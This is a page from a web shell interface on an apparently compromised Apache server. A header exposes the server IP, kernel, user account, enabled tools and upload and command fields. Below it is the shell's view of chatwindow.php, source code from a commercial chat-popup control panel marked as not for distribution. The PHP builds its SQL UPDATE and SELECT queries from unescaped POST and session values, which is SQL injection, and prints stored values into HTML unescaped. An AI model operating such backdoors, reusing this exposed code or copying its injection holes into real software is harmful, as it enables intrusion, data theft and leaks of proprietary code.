403Webshell
Server IP : 10.200.247.200  /  Your IP : 216.73.217.19
Web Server : Apache
System : Linux synergy-usa-sites 6.8.0-138-generic #138-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 31 22:41:49 UTC 2026 x86_64
User : jeremy ( 1001)
PHP Version : 8.4.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/usa_sites/usagrantapplications.org/vsa/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/usa_sites/usagrantapplications.org/vsa/chatwindow.php
<?php
/*
Copyright (c) 2007-present InnAnTech Industries
Author: Dave Guindon
Web: www.VirtualSmartAgent.com
Support: www.DaveGuindonSupport.com

Please send bug reports, suggestions and/or feedback to the support
website given above.

Virtual Smart Agent is a commercial software. Any distribution is strictly prohibited
unless a resale rights license was delivered along with this software.
*/

include('myauth.php');
include('modfiles/db.php');
include('globals.php');
include('charts/tables.php');
include('charts/html_table.class.php');
include('charts/chartfunctions.php');
include('panelfunctions.php');

$cid = $_SESSION['cid'];
$previewlink = 'preview.php?cid='.$cid;

//first connect to the database
$conn = mysql_connect("$dbhost", "$dblogin", "$dbpass") or die ('I cannot connect to the database.');
mysql_select_db($dbname, $conn);

//check if anything was posted
if ($_POST['actionbutton']){
  //get posted data
  $affid = $_POST['affid']; 
  $trackid = $_POST['trackid'];
  $afflinktext = $_POST['afflinktext'];
  $backcolor = $_POST['backcolor']; 
  $bordercolor = $_POST['bordercolor']; 
  $bordersize = $_POST['bordersize'];
  $borderstyle = $_POST['borderstyle'];
  $captioncolor = $_POST['captioncolor'];
  $captiontext = $_POST['captiontext'];
  $captiontextcolor = $_POST['captiontextcolor'];
  $captiontextbold = $_POST['captiontextbold'];
  $captiontextitalic = $_POST['captiontextitalic'];
  $captiontextsize = $_POST['captiontextsize'];
  $alertmessage = $_POST['alertmessage'];
  $chatwintype = $_POST['chatwintype'];
  $disablelinks = $_POST['disablelinks'];
  $disableforms = $_POST['disableforms'];  
  $instantdelay = $_POST['instantdelay'];
  $smartdelay = $_POST['smartdelay'];
  $testmoderadio = $_POST['testmoderadio'];       
  $usecustomcode = $_POST['usecustomcode']; 
  $customcode = $_POST['customcode']; 
  $customcodelocation = $_POST['customcodelocation'];
  $aweber_useaweber = $_POST['aweber_useaweber']; 
  $aweber_listname = $_POST['aweber_listname']; 
  $aweber_thankyoupage = $_POST['aweber_thankyoupage']; 
  $aweber_forwardvars = $_POST['aweber_forwardvars']; 
  $aweber_adtracking = $_POST['aweber_adtracking']; 
  $chatwidth = $_POST['chatwidth']; 
  $chatheight = $_POST['chatheight'];   
  $buttoncolor = $_POST['buttoncolor'];
  $buttonhovercolor = $_POST['buttonhovercolor']; 
  $buttonbordercolor = $_POST['buttonbordercolor']; 
  $buttonbordersize = $_POST['buttonbordersize']; 
  $buttonborderstyle = $_POST['buttonborderstyle']; 
  $buttontextbold = $_POST['buttontextbold']; 
  $buttontextitalic = $_POST['buttontextitalic'];  
  $useautoemail = $_POST['useautoemail'];
  $autoemailfrom = $_POST['autoemailfrom'];
  $autoemailsubject = $_POST['autoemailsubject'];
  $autoemailmessage = $_POST['autoemailmessage'];
  $displaymethod = $_POST['displaymethod']; 
  $mousetimes = $_POST['mousetimes'];
  $usemousemessage = $_POST['usemousemessage']; 
  
  //set the disabled data
  $disable = $disablelinks.':'.$disableforms;
  
  if ((!isset($mousetimes))||($mousetimes=='')){
    $mousetimes = 2; 
  }
  
  if ((!isset($usemousemessage))||($usemousemessage=='')){
    $usemousemessage = 0; 
  }
 
  //check display period
  if ($_POST['displayperiodrb'] == 'yes'){
    $displayperiod = $_POST['displayperiod'];
  }else{
    $displayperiod = 0;
  }  
  
  //remove slashes for viewing in the textbox
  $customcode = stripslashes($customcode);
  
  //validate input
  $err = '';
  if ((!isset($bordercolor))||($bordercolor == '')){
    $err[] = 'The chat window border color was not entered.';
  }
  if ((!isset($captioncolor))||($captioncolor == '')){
    $err[] = 'The chat window caption background color was not entered.';
  }
  if ((!isset($captiontextcolor))||($captiontextcolor == '')){
    $err[] = 'The chat window caption text color was not entered.';
  }
  if ((!isset($alertmessage))||($alertmessage == '')){
    $err[] = 'The one exit alert message was not entered.';
  }
  if ($usecustomcode == '1'){
    if ((!isset($customcode))||($customcode == '')){
	  $err[] = 'The chat window custom html code was not entered.';
	}
  } 
  if ($aweber_useaweber == '1'){
    if ((!isset($aweber_listname))||($aweber_listname == '')){
	  $err[] = 'The aweber list name was not entered.';
	}
  }
  if ((!is_numeric($chatwidth))||($chatwidth == '')){
    $err[] = 'The chat window width is not valid. You MUST enter a number.';
  }
  if ((!is_numeric($chatheight))||($chatheight == '')){
    $err[] = 'The chat window height is not valid. You MUST enter a number.';
  }
  if ((!isset($buttoncolor))||($buttoncolor == '')){
    $err[] = 'The chat window button color was not entered.';
  }
  if ((!isset($buttonhovercolor))||($buttonhovercolor == '')){
    $err[] = 'The chat window button hover color was not entered.';
  }
  if ((!isset($buttonbordercolor))||($buttonbordercolor == '')){
    $err[] = 'The chat window button border color was not entered.';
  }
  if ($useautoemail == '1'){
    if ((!isset($autoemailfrom))||($autoemailfrom == '')){
	  $err[] = 'The from email for the auto email feature was not entered.';
	}
    if ((!isset($autoemailsubject))||($autoemailsubject == '')){
	  $err[] = 'The auto email subject was not entered.';
	}
	if ((!isset($autoemailmessage))||($autoemailmessage == '')){
	  $err[] = 'The auto email message was not entered.';
	}
  }
  
  //check for errors  
  if ($err !== ''){  
    $show = 'There were some errors with the data you are trying to input:<br />';
	$show .= '<ul>';
	foreach($err as $value){
	  $show .= '<li>'.$value.'</li>';
	}
	$show .= '</ul><br />';
	$show = '<span style="color: #FF0000">'.$show.'</span>';	
  }else{    	
    //php 5 issue. _POST does not add slashes in php5, so I need to manually add them here
	$version = substr(PHP_VERSION, 0, 1);
    if ($version > 4){
      $alertmessage = addslashes($alertmessage);  
    }  
  
    //prepare variables to be entered into the database
	$tmp = explode("\n",$alertmessage);
	$alert = '';
	foreach($tmp as $key=>$value){
	  if ($key < count($tmp)){
	    $value = trim($value);
	    $alert = $alert.$value.'\n';
	  }
	}
	$alert = addslashes($alert);
	
	//prepare variables to be entered into the database
	$tmp = explode("\n",$autoemailmessage);
	$autoemailmessage_in = '';
	foreach($tmp as $key=>$value){
	  if ($key < count($tmp)){
	    $value = trim($value);
	    $autoemailmessage_in = $autoemailmessage_in.$value.'\n';
	  }
	}
	$autoemailmessage_in = addslashes($autoemailmessage_in);
	
	//prepare other variables		
	$trackid  = addslashes($trackid);
	$afflinktext = addslashes($afflinktext);	
	$captiontext_in = addslashes($captiontext);
	$customcode_in = addslashes($customcode);	
	$aweber_thankyoupage_in = addslashes($aweber_thankyoupage);	
	$autoemailsubject_in = addslashes($autoemailsubject);
	
	//remove the # character		
	$bordercolor_in = removepound($bordercolor);
	$captioncolor_in = removepound($captioncolor);
	$captiontextcolor_in = removepound($captiontextcolor);
	$backcolor_in = removepound($backcolor);	
	$buttoncolor_in = removepound($buttoncolor);
	$buttonbordercolor_in = removepound($buttonbordercolor);
	$buttonhovercolor_in = removepound($buttonhovercolor);							

	//scale the delays back to milliseconds		
	$idelay = $instantdelay*1000;
    $sdelay = $smartdelay*1000;
	
	//update database
	$sql = "UPDATE $campaignTable SET "; 
	$sql .= "instantdelay='$idelay', ";  
	$sql .= "smartdelay='$sdelay', ";  
	$sql .= "affid='$affid', ";  
	$sql .= "trackid='$trackid', ";
	$sql .= "afflinktext='$afflinktext', ";
	$sql .= "backcolor='$backcolor_in', ";  
	$sql .= "bordercolor='$bordercolor_in', ";  
	$sql .= "bordersize='$bordersize', ";  
	$sql .= "borderstyle='$borderstyle', ";  
	$sql .= "captioncolor='$captioncolor_in', ";  
	$sql .= "captiontext='$captiontext_in', ";  
	$sql .= "captiontextcolor='$captiontextcolor_in', ";  
	$sql .= "captiontextbold='$captiontextbold', ";  
	$sql .= "captiontextitalic='$captiontextitalic', ";  
	$sql .= "captiontextsize='$captiontextsize', ";  
	$sql .= "alertmessage='$alert', ";  
	$sql .= "chatwintype='$chatwintype', ";  
	$sql .= "disablelinks='$disable', "; 
	$sql .= "testmode='$testmoderadio', ";	
	$sql .= "usecustomcode='$usecustomcode', ";
	$sql .= "customcode='$customcode_in', ";
	$sql .= "customcodelocation='$customcodelocation', ";
	$sql .= "aweber_useaweber='$aweber_useaweber', ";
	$sql .= "aweber_listname='$aweber_listname', ";
	$sql .= "aweber_thankyoupage='$aweber_thankyoupage_in', ";
	$sql .= "aweber_forwardvars='$aweber_forwardvars', ";
	$sql .= "aweber_adtracking='$aweber_adtracking', ";
	$sql .= "chatwidth='$chatwidth', ";
	$sql .= "chatheight='$chatheight', ";	
	$sql .= "buttoncolor='$buttoncolor_in', ";
	$sql .= "buttonhovercolor='$buttonhovercolor_in', ";
	$sql .= "buttonbordercolor='$buttonbordercolor_in', ";
	$sql .= "buttonbordersize='$buttonbordersize', ";
	$sql .= "buttonborderstyle='$buttonborderstyle', ";
	$sql .= "buttontextbold='$buttontextbold', ";
	$sql .= "buttontextitalic='$buttontextitalic', ";		
	$sql .= "useautoemail='$useautoemail', ";
	$sql .= "autoemailfrom='$autoemailfrom', ";
	$sql .= "autoemailsubject='$autoemailsubject_in', ";
	$sql .= "autoemailmessage='$autoemailmessage_in', ";
	$sql .= "displayperiod='$displayperiod', ";	
	$sql .= "displaymethod='$displaymethod', ";
	$sql .= "mousetimes='$mousetimes', ";
	$sql .= "usemousemessage='$usemousemessage' ";										
	$sql .= "WHERE id='$cid'";
	mysql_query($sql,$conn);mysql_error()?(print(mysql_error())):'';
	
	$show = '<p><span style="color: #0000FF">Your agent chat window settings have been successfully updated.</span></p>'; 
	
	//need to reset header	
    $_SESSION['testmode'] = $testmoderadio; //update session
	$testmode = $testmoderadio;
	include('globals.php'); 
  }
}else{

  //get required data for the agent chat window
  $sql = "SELECT * FROM $campaignTable WHERE id='$cid'";
  $result = mysql_query($sql,$conn);mysql_error()?(print(mysql_error())):'';
  $camp = mysql_fetch_assoc($result);
  $affid = $camp['affid']; 
  $trackid = $camp['trackid'];
  $afflinktext = $camp['afflinktext'];
  $backcolor = $camp['backcolor'];
  $bordercolor = $camp['bordercolor']; 
  $bordersize = $camp['bordersize'];
  $borderstyle = $camp['borderstyle'];
  $captioncolor = $camp['captioncolor'];
  $captiontext = $camp['captiontext'];
  $captiontextcolor = $camp['captiontextcolor'];
  $captiontextbold = $camp['captiontextbold'];
  $captiontextitalic = $camp['captiontextitalic'];
  $captiontextsize = $camp['captiontextsize'];
  $alertmessage = $camp['alertmessage'];
  $chatwintype = $camp['chatwintype'];
  $disable = $camp['disablelinks'];  
  $instantdelay = $camp['instantdelay'];
  $smartdelay = $camp['smartdelay'];
  $testmode = $camp['testmode'];  
  $usecustomcode = $camp['usecustomcode'];
  $customcode = $camp['customcode'];  
  $customcodelocation = $camp['customcodelocation'];    
  $aweber_useaweber = $camp['aweber_useaweber'];
  $aweber_forwardvars = $camp['aweber_forwardvars'];  
  $aweber_listname = $camp['aweber_listname'];
  $aweber_thankyoupage = $camp['aweber_thankyoupage'];
  $aweber_adtracking = $camp['aweber_adtracking'];    
  $chatwidth = $camp['chatwidth'];
  $chatheight = $camp['chatheight'];   
  $buttoncolor = $camp['buttoncolor']; 
  $buttonhovercolor = $camp['buttonhovercolor'];
  $buttonbordercolor = $camp['buttonbordercolor']; 
  $buttonbordersize = $camp['buttonbordersize']; 
  $buttonborderstyle = $camp['buttonborderstyle']; 
  $buttontextbold = $camp['buttontextbold']; 
  $buttontextitalic = $camp['buttontextitalic'];    
  $useautoemail = $camp['useautoemail'];
  $autoemailfrom = $camp['autoemailfrom'];
  $autoemailsubject = $camp['autoemailsubject'];
  $autoemailmessage = $camp['autoemailmessage'];
  $displayperiod = $camp['displayperiod']; 
  $displaymethod = $camp['displaymethod'];
  $mousetimes = $camp['mousetimes']; 
  $usemousemessage = $camp['usemousemessage'];
  
  //extract disable links and forms data
  $tmp = explode(':',$disable);     
  $disablelinks = $tmp[0];
  if (!$tmp[1]){
    $disableforms = 'yes';
  }else{
    $disableforms = $tmp[1];
  }
  
  $trackid  = stripslashes($trackid);
  $afflinktext  = stripslashes($afflinktext);
  $customcode  = stripslashes($customcode);
  $aweber_thankyoupage  = stripslashes($aweber_thankyoupage);  
  $autoemailsubject  = stripslashes($autoemailsubject);
  
  //prepare custom code to appear in textarea tag
  $customcode = htmlentities($customcode); 
  //$customcode = htmlentities($customcode,ENT_QUOTES,'UTF-8'); 
  
  //prepare a few variables for display
  $instantdelay = round($instantdelay/1000);
  $smartdelay = round($smartdelay/1000); 
  $bordercolor = '#'.$bordercolor;
  $buttonhovercolor = '#'.$buttonhovercolor; 
  $captioncolor = '#'.$captioncolor;
  $captiontextcolor = '#'.$captiontextcolor; 
  $backcolor = '#'.$backcolor;  
  $buttoncolor = '#'.$buttoncolor;  
  $buttonbordercolor = '#'.$buttonbordercolor;   
  
  //properly display the alert message in the textbox
  $tmp = explode('\n',$alertmessage);
  $alertmessage = '';
  foreach($tmp as $key=>$value){
    if($key < count($tmp)){ 
      $value = trim($value);
      $alertmessage .= $value."\n";
	}  
  }
  $alertmessage = trim($alertmessage);  
  
  //properly display the auto email message in the textbox
  $tmp = explode('\n',$autoemailmessage);
  $autoemailmessage = '';
  foreach($tmp as $key=>$value){
    if($key < count($tmp)){ 
      $value = trim($value);
      $autoemailmessage .= $value."\n";
	}  
  }
  $autoemailmessage = trim($autoemailmessage);   
}

//build the drop-down menus
$bordersize_options = '';
for ($i=1;$i<=10;$i++){
  if ($i == $bordersize){
    $bordersize_options .= '<option value="'.$i.'" selected="selected">'.$i.'</option>'."\n";
  }else{
    $bordersize_options .= '<option value="'.$i.'">'.$i.'</option>'."\n";
  }
}

$borderstyle_options = '';
if ($borderstyle == 'solid'){ $borderstyle_options .= '<option value="solid" selected="selected">solid</option>'."\n";
}else{ $borderstyle_options .= '<option value="solid">solid</option>'."\n"; }
if ($borderstyle == 'dashed'){ $borderstyle_options .= '<option value="dashed" selected="selected">dashed</option>'."\n";
}else{ $borderstyle_options .= '<option value="dashed">dashed</option>'."\n"; }
if ($borderstyle == 'dotted'){ $borderstyle_options .= '<option value="dotted" selected="selected">dotted</option>'."\n";
}else{ $borderstyle_options .= '<option value="dotted">dotted</option>'."\n"; }

$captiontextsize_options = '';
for ($i=5;$i<=25;$i++){
  if ($i == $captiontextsize){
    $captiontextsize_options .= '<option value="'.$i.'" selected="selected">'.$i.'</option>'."\n";
  }else{
    $captiontextsize_options .= '<option value="'.$i.'">'.$i.'</option>'."\n";
  }
}

$instantdelay_options = '';
for ($i=1;$i<=20;$i++){
  if ($i == $instantdelay){
    $instantdelay_options .= '<option value="'.$i.'" selected="selected">'.$i.'</option>'."\n";
  }else{
    $instantdelay_options .= '<option value="'.$i.'">'.$i.'</option>'."\n";
  }
}

$smartdelay_options = '';
for ($i=1;$i<=20;$i++){
  if ($i == $smartdelay){
    $smartdelay_options .= '<option value="'.$i.'" selected="selected">'.$i.'</option>'."\n";
  }else{
    $smartdelay_options .= '<option value="'.$i.'">'.$i.'</option>'."\n";
  }
}

$buttonbordersize_options = '';
for ($i=1;$i<=10;$i++){
  if ($i == $buttonbordersize){
    $buttonbordersize_options .= '<option value="'.$i.'" selected="selected">'.$i.'</option>'."\n";
  }else{
    $buttonbordersize_options .= '<option value="'.$i.'">'.$i.'</option>'."\n";
  }
}

$buttonborderstyle_options = '';
if ($buttonborderstyle == 'solid'){ $buttonborderstyle_options .= '<option value="solid" selected="selected">solid</option>'."\n";
}else{ $buttonborderstyle_options .= '<option value="solid">solid</option>'."\n"; }
if ($buttonborderstyle == 'dashed'){ $buttonborderstyle_options .= '<option value="dashed" selected="selected">dashed</option>'."\n";
}else{ $buttonborderstyle_options .= '<option value="dashed">dashed</option>'."\n"; }
if ($buttonborderstyle == 'dotted'){ $buttonborderstyle_options .= '<option value="dotted" selected="selected">dotted</option>'."\n";
}else{ $buttonborderstyle_options .= '<option value="dotted">dotted</option>'."\n"; }

$autoemailcodes_options = '';
foreach($aecodes as $key=>$value){
  if ($key == 0){
    $autoemailcodes_options .= '<option value="'.$value.'" selected="selected">'.$value.'</option>'."\n";
  }else{
    $autoemailcodes_options .= '<option value="'.$value.'">'.$value.'</option>'."\n";
  }
}

$displayperiod_options = '';
$dopt['1 hour'] = 1;
$dopt['2 hours'] = 2;
$dopt['3 hours'] = 3;
$dopt['4 hours'] = 4;
$dopt['5 hours'] = 5;
$dopt['10 hours'] = 10;
$dopt['15 hours'] = 15;
$dopt['1 day'] = 24;
$dopt['2 days'] = 24*2;
$dopt['3 days'] = 24*3;
$dopt['4 days'] = 24*4;
$dopt['5 days'] = 24*5;
$dopt['6 days'] = 24*6;
$dopt['1 weeks'] = 24*7*1;
$dopt['2 weeks'] = 24*7*2;
$dopt['3 weeks'] = 24*7*3;
$dopt['1 month'] = 24*7*4;
$dopt['2 months'] = 24*7*8;
$dopt['3 months'] = 24*7*12;
$dopt['6 months'] = 24*7*24;
$dopt['1 year'] = 24*365;
foreach($dopt as $key=>$value){
  if ($value == $displayperiod){
    $displayperiod_options .= '<option value="'.$value.'" selected="selected">'.$key.'</option>'."\n";
  }else{
    $displayperiod_options .= '<option value="'.$value.'">'.$key.'</option>'."\n";
  }
}

//set the color boxes
$bordercolor_style = 'style="width: 50px; background: '.$bordercolor.'"';
$captioncolor_style = 'style="width: 50px; background: '.$captioncolor.'"';
$captiontextcolor_style = 'style="width: 50px; background: '.$captiontextcolor.'"';
$backcolor_style = 'style="width: 50px; background: '.$backcolor.'"';
$buttoncolor_style = 'style="width: 50px; background: '.$buttoncolor.'"';
$buttonhovercolor_style = 'style="width: 50px; background: '.$buttonhovercolor.'"';
$buttonbordercolor_style = 'style="width: 50px; background: '.$buttonbordercolor.'"';

//set checkboxes
if ($captiontextbold == 'bold'){
  $captiontextbold_checked = 'checked="checked"';
}else{
  $captiontextbold_checked = '';
}
if ($captiontextitalic == 'italic'){
  $captiontextitalic_checked = 'checked="checked"';
}else{
  $captiontextitalic_checked = '';
}
if ($usecustomcode == '1'){
  $usecustomcode_checked = 'checked="checked"';
}else{
  $usecustomcode_checked = '';
}
if ($aweber_useaweber == '1'){
  $useaweber_checked = 'checked="checked"';
}else{
  $useaweber_checked = '';
}
if ($aweber_forwardvars == '1'){
  $forwardvars_checked = 'checked="checked"';
}else{
  $forwardvars_checked = '';
}
if ($buttontextbold == 'bold'){
  $buttontextbold_checked = 'checked="checked"';
}else{
  $buttontextbold_checked = '';
}
if ($buttontextitalic == 'italic'){
  $buttontextitalic_checked = 'checked="checked"';
}else{
  $buttontextitalic_checked = '';
}
if ($useautoemail == '1'){
  $useautoemail_checked = 'checked="checked"';
}else{
  $useautoemail_checked = '';
}
if ($mousetimes == '1'){
  $mousetimes_checked = 'checked="checked"';
}else{
  $mousetimes_checked = '';
}
if ($usemousemessage == '1'){
  $usemousemessage_checked = 'checked="checked"';
}else{
  $usemousemessage_checked = '';
}
//set radio buttons
if ($chatwintype == 'default'){
  $chatwintype_radio[0] = 'checked="checked"';
  $chatwintype_radio[1] = '';
}else{
  $chatwintype_radio[0] = '';
  $chatwintype_radio[1] = 'checked="checked"';
}

if ($disablelinks == 'yes'){
  $disablelinks_radio[0] = 'checked="checked"';
  $disablelinks_radio[1] = '';
}else{
  $disablelinks_radio[0] = '';
  $disablelinks_radio[1] = 'checked="checked"';
}

if ($disableforms == 'yes'){
  $disableforms_radio[0] = 'checked="checked"';
  $disableforms_radio[1] = '';
}else{
  $disableforms_radio[0] = '';
  $disableforms_radio[1] = 'checked="checked"';
}

if ($testmode == 1){
  $testmode_radio[0] = 'checked="checked"';
  $testmode_radio[1] = '';
}else{
  $testmode_radio[0] = '';
  $testmode_radio[1] = 'checked="checked"';
}

if ($customcodelocation == 'top'){
  $customcodelocation_radio[0] = 'checked="checked"';
  $customcodelocation_radio[1] = '';
}else{
  $customcodelocation_radio[0] = '';
  $customcodelocation_radio[1] = 'checked="checked"';
}

if ($displayperiod == '0'){
  $displayperiod_radio[0] = 'checked="checked"';
  $displayperiod_radio[1] = '';
}else{
  $displayperiod_radio[0] = '';
  $displayperiod_radio[1] = 'checked="checked"';
}

if ($displaymethod == 'dialog'){
  $displaymethod_radio[0] = 'checked="checked"';
  $displaymethod_radio[1] = '';
  $displaymethod_radio[2] = '';
}else if ($displaymethod == 'mouse'){
  $displaymethod_radio[0] = '';
  $displaymethod_radio[1] = 'checked="checked"';
  $displaymethod_radio[2] = '';
}else{
  $displaymethod_radio[0] = '';
  $displaymethod_radio[1] = '';
  $displaymethod_radio[2] = 'checked="checked"';
}

//prepare some output
$alertmessage = stripslashes($alertmessage);
$autoemailmessage = stripslashes($autoemailmessage);
?>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<LINK href="style.css" type=text/css rel=stylesheet>
<title>Virtual Agent Control Panel</title>
<?php echo $thickboxfiles; ?>
<script type="text/javascript" src="ColorPicker2.js"></script>
<script type="text/javascript">
var cp = new ColorPicker('window'); //used for color picker
function ClearCustomHTML(){document.chatwindowform.customcode.value="";}
function ClearAlertMessage(){document.chatwindowform.alertmessage.value="";}
function SetDefaultAlert(){document.chatwindowform.alertmessage.value="<?php echo $exitmessage; ?>";}
function SetDefaultAutoMessage(){
  document.chatwindowform.autoemailsubject.value="<?php echo $aesubject; ?>";
  document.chatwindowform.autoemailmessage.value="<?php echo $aemessage; ?>";
}
</script>
<style type="text/css">
<!--
.style1 {color: #0099FF}
-->
</style>
</head>

<body>
<?php echo $menu; ?>
<table width="700" border="0" align="center" cellpadding="10" cellspacing="0" bgcolor="#FFFFFF" class="admin_grey_border">
  <tr>
    <td><div align="center"><strong>Chat Window Display Settings</strong><?php echo $errors; ?></div></td>
  </tr>
  <tr>
    <td>
    
    <form name="chatwindowform" action="chatwindow.php" method="post">
    <table width="100%" border="0" cellspacing="0" cellpadding="5">
      <tr>
        <td><p>Here is where you can change the visual appearance of your agent popup window as well as how the window will be displayed to the user. These settings only apply to the chat window  for  the currently selected campaign.</p>
        <?php echo $show; ?></td>
      </tr>
      <tr>
        <td><hr class="grey_dashed" /></td>
      </tr>
      <tr>
        <td bgcolor="#<?php echo $sectioncolor; ?>">System Mode</td>
      </tr>
      <tr>
        <td>By default, the system is set in test mode when you first install. This allows you to configure your virtual smart agent system without logging any data such as chat logs, clicks, pageviews ect. NOTE: No data is logged using the preview link below even if the test mode is set to 'off'.</td>
      </tr>
      <tr>
        <td><table width="100%" border="0" cellspacing="0" cellpadding="5">

          <tr>
            <td valign="top"><div align="right">Preview chat window:</div></td>
            <td><a href="<?php echo $previewlink; ?>" target="_blank">click here to preview</a></td>
          </tr>
          <tr>
            <td width="45%" valign="top"><div align="right">Test mode:</div></td>
            <td width="66%"><table width="100%" border="0" cellspacing="0" cellpadding="1">
                <tr>
                  <td><input name="testmoderadio" type="radio" id="testmoderadio" value="1" <?php echo $testmode_radio[0]; ?>/></td>
                  <td>On</td>
                </tr>
                <tr>
                  <td width="20"><input type="radio" name="testmoderadio" id="testmoderadio" value="0" <?php echo $testmode_radio[1]; ?>/></td>
                  <td width="366">Off</td>
                </tr>
            </table></td>
          </tr>
        </table></td>
      </tr>
      <tr>
        <td>&nbsp;</td>
      </tr>
      <tr>
        <td bgcolor="#<?php echo $sectioncolor; ?>">Virtual Smart Agent Affiliate Link</td>
      </tr>
      <tr>
        <td><p>First you need to <a href="<?php echo $affsignup; ?>" target="_blank">join the free Virtual Smart Agent affiliate program here</a>. After you signup, you will be assigned a special affiliate link. Simply enter your full affiliate link in the textbox provided below.Please see <a href="<?php echo $helplink; ?>" target="_blank">help videos</a> for more information. You can also find more information regarding our <a href="<?php echo $affpage; ?>" target="_blank">affiliate program here</a>.          </p>
          <table width="100%" border="0" cellspacing="0" cellpadding="5">
          <tr>
            <td width="45%"><div align="right">Your full affiliate link:</div></td>
            <td width="66%"><input name="trackid" type="text" id="trackid" style="width: 200px" value="<?php echo $trackid; ?>"/> 
              <a href="<?php echo $affsignup; ?>" target="_blank">signup free here</a></td>
          </tr>
          <tr>
            <td><div align="right">Link text:</div></td>
            <td><input name="afflinktext" type="text" id="afflinktext" style="width: 200px" value="<?php echo $afflinktext; ?>"/></td>
          </tr>
        </table></td>
      </tr>
      <tr>
        <td>&nbsp;</td>
      </tr>
      <tr>
        <td bgcolor="#<?php echo $sectioncolor; ?>">Chat Window Background</td>
      </tr>
      <tr>
        <td><table width="100%" border="0" cellspacing="0" cellpadding="5">
          <tr>
            <td width="45%"><div align="right">Color:</div></td>
            <td width="66%"><table width="100%" border="0" cellspacing="0" cellpadding="1">
                <tr>
                  <td width="14%"><input name="backcolor" type="text" style="width: 60px" value="<?php echo $backcolor; ?>" size="20" maxlength="7"/></td>
                  <td width="2%"><input type="text" id="backcolor_show" size="1" value="" <?php echo $backcolor_style; ?>/></td>
                  <td width="84%"><div align="left"><a href="#" onclick="cp.select(document.forms[0].backcolor,document.forms[0].backcolor_show,'pick0');return false;" name="pick0" id="pick0">Pick color</a></div></td>
                </tr>
            </table></td>
          </tr>

        </table></td>
      </tr>
      <tr>
        <td>&nbsp;</td>
      </tr>
      <tr>
        <td bgcolor="#<?php echo $sectioncolor; ?>">Chat Window Border</td>
      </tr>
      <tr>
        <td><table width="100%" border="0" cellspacing="0" cellpadding="5">
          <tr>
            <td width="45%"><div align="right">Border color:</div></td>
            <td width="66%"><table width="100%" border="0" cellspacing="0" cellpadding="1">
              <tr>
                <td width="14%"><input name="bordercolor" type="text" style="width: 60px" value="<?php echo $bordercolor; ?>" size="20" maxlength="7"/></td>
                <td width="2%"><input type="text" id="bordercolor_show" size="1" value="" <?php echo $bordercolor_style; ?>/></td>
                <td width="84%"><div align="left"><a href="#" onclick="cp.select(document.forms[0].bordercolor,document.forms[0].bordercolor_show,'pick1');return false;" name="pick1" id="pick1">Pick color</a></div></td>
              </tr>
            </table>              </td>
          </tr>
          <tr>
            <td><div align="right">Border size:</div></td>
            <td><select name="bordersize" id="bordersize" style="width: 68px">
              <?php echo $bordersize_options; ?>
            </select>
             pixels</td>
          </tr>
          <tr>
            <td><div align="right">Border style:</div></td>
            <td><select name="borderstyle" id="borderstyle" style="width: 68px">
              <?php echo $borderstyle_options; ?>
            </select>            </td>
          </tr>        
        </table>               </td>
      </tr>
      <tr>
        <td>&nbsp;</td>
      </tr>
      <tr>
        <td bgcolor="#<?php echo $sectioncolor; ?>">Chat Window Caption</td>
      </tr>
      <tr>
        <td><table width="100%" border="0" cellspacing="0" cellpadding="5">
          <tr>
            <td width="45%"><div align="right">Caption text:</div></td>
            <td><input name="captiontext" type="text" id="captiontext" style="width: 300px" value="<?php echo $captiontext; ?>" maxlength="60"/></td>
          </tr>
          <tr>
            <td><div align="right">Caption Background Color:</div></td>
            <td><table width="100%" border="0" cellspacing="0" cellpadding="1">
              <tr>
                <td width="14%"><input name="captioncolor" type="text" style="width: 60px" value="<?php echo $captioncolor; ?>" size="20" maxlength="7"/></td>
                <td width="2%"><input type="text" id="captioncolor_show" size="1" value="" <?php echo $captioncolor_style; ?>/></td>
                <td width="84%"><div align="left"><a href="#" onclick="cp.select(document.forms[0].captioncolor,document.forms[0].captioncolor_show,'pick2');return false;" name="pick2" id="pick2">Pick color</a></div></td>
              </tr>
            </table>            </td>
          </tr>
          <tr>
            <td><div align="right">Caption text color:</div></td>
            <td width="66%"><table width="100%" border="0" cellspacing="0" cellpadding="1">
              <tr>
                <td width="14%"><input name="captiontextcolor" type="text" style="width: 60px" value="<?php echo $captiontextcolor; ?>" size="20" maxlength="7"/></td>
                <td width="2%"><input type="text" id="captiontextcolor_show" size="1" value="" <?php echo $captiontextcolor_style; ?>/></td>
                <td width="84%"><div align="left"><a href="#" onclick="cp.select(document.forms[0].captiontextcolor,document.forms[0].captiontextcolor_show,'pick3');return false;" name="pick3" id="pick3">Pick color</a></div></td>
              </tr>
            </table>            </td>
          </tr>
          <tr>
            <td><div align="right">Caption text size:</div></td>
            <td><select name="captiontextsize" id="captiontextsize" style="width: 68px">
                <?php echo $captiontextsize_options; ?>
              </select>
              pixels</td>
          </tr>
          <tr>
            <td><div align="right">Caption text styling:</div></td>
            <td><table width="100%" border="0" cellspacing="0" cellpadding="1">
              <tr>
                <td width="9%"><strong>Bold</strong></td>
                <td width="5%"><em><strong>
                  <input name="captiontextbold" type="checkbox" id="captiontextbold" value="bold" <?php echo $captiontextbold_checked; ?>/>
                </strong></em></td>
                <td width="8%"><em>Italic</em></td>
                <td width="78%"><em>
                  <input name="captiontextitalic" type="checkbox" id="captiontextitalic" value="italic" <?php echo $captiontextitalic_checked; ?>/>
                </em></td>
              </tr>
            </table></td>
          </tr>
        </table></td>
      </tr>
      <tr>
        <td>&nbsp;</td>
      </tr>
      <tr>
        <td bgcolor="#<?php echo $sectioncolor; ?>">Chat Window Button Colors</td>
      </tr>
      <tr>
        <td><table width="100%" border="0" cellspacing="0" cellpadding="5">

          <tr>
            <td width="45%"><div align="right"> Button color:</div></td>
            <td><table width="100%" border="0" cellspacing="0" cellpadding="1">
                <tr>
                  <td width="14%"><input name="buttoncolor" type="text" style="width: 60px" value="<?php echo $buttoncolor; ?>" size="20" maxlength="7"/></td>
                  <td width="2%"><input type="text" id="buttoncolor_show" size="1" value="" <?php echo $buttoncolor_style; ?>/></td>
